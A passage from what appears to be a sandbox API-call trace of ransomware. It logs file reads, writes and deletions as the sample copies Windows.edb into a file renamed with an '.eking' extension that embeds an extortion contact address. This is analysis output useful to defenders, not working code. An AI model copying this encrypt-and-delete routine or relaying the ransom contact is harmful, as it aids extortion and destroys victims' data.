lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0205.155] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0205.283] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0205.300] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0205.317] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0205.482] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0205.498] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0205.655] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x985ec, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x985ec, lpOverlapped=0x0) returned 1 [0205.667] FlushFileBuffers (hFile=0x1b8) returned 1 [0209.424] FlushFileBuffers (hFile=0x1c4) returned 1 [0210.711] CloseHandle (hObject=0x1b8) returned 1 [0210.711] CloseHandle (hObject=0x1c4) returned 1 [0210.711] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde")) returned 1 [0210.715] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0264.004] ResetEvent (hEvent=0x150) returned 1 [0264.005] SetEvent (hEvent=0x154) returned 1 [0264.005] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0264.006] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x324f968 | out: lpFileSize=0x324f968*=75563008) returned 1 [0264.006] CloseHandle (hObject=0x188) returned 1 [0264.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb")) returned 0x2020 [0264.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb")) returned 0x2020 [0264.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0264.006] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0264.007] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f930 | out: lpNewFilePointer=0x0) returned 1 [0264.007] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f930 | out: lpNewFilePointer=0x0) returned 1 [0264.007] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\windows.edb.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x17c [0264.007] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0264.145] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0264.171] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0264.527] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0264.986] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0265.023] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0265.071] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0265.112] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0265.152] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0265.221] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0265.254] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0265.326] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0265.507] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0265.560] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0265.584] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0265.635] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0265.694] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0265.717] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0265.754] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0266.141] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0266.253] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0266.273] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0266.317] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0266.338] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0266.366] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0266.387] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0266.471] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0266.499] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0266.575] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0266.597] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0266.654] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0266.718] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0266.776] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0266.827] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0266.858] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0266.914] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0266.939] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0267.046] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0267.106] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0267.189] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0267.250] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0267.295] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0267.369] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0267.391] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0267.737] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0267.829] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0267.852] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0267.942] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0267.969] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0268.103] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0268.126] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0268.349] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0268.598] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0268.625] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0268.776] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0268.880] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0268.976] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0269.028] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0269.391] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0269.416] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0269.524] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0269.667] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0269.752] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0269.841] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0269.922] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0269.977] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0270.045] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0270.079] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0270.264] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0270.487] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0270.527] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0270.949] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0271.032] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0271.085] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0271.170] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0271.219] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0271.422] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0271.468] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0271.555] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0271.604] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0271.709] ReadFile (in: hFile=0x188, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0271.729] WriteFile (in: hFile=0x17c, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, 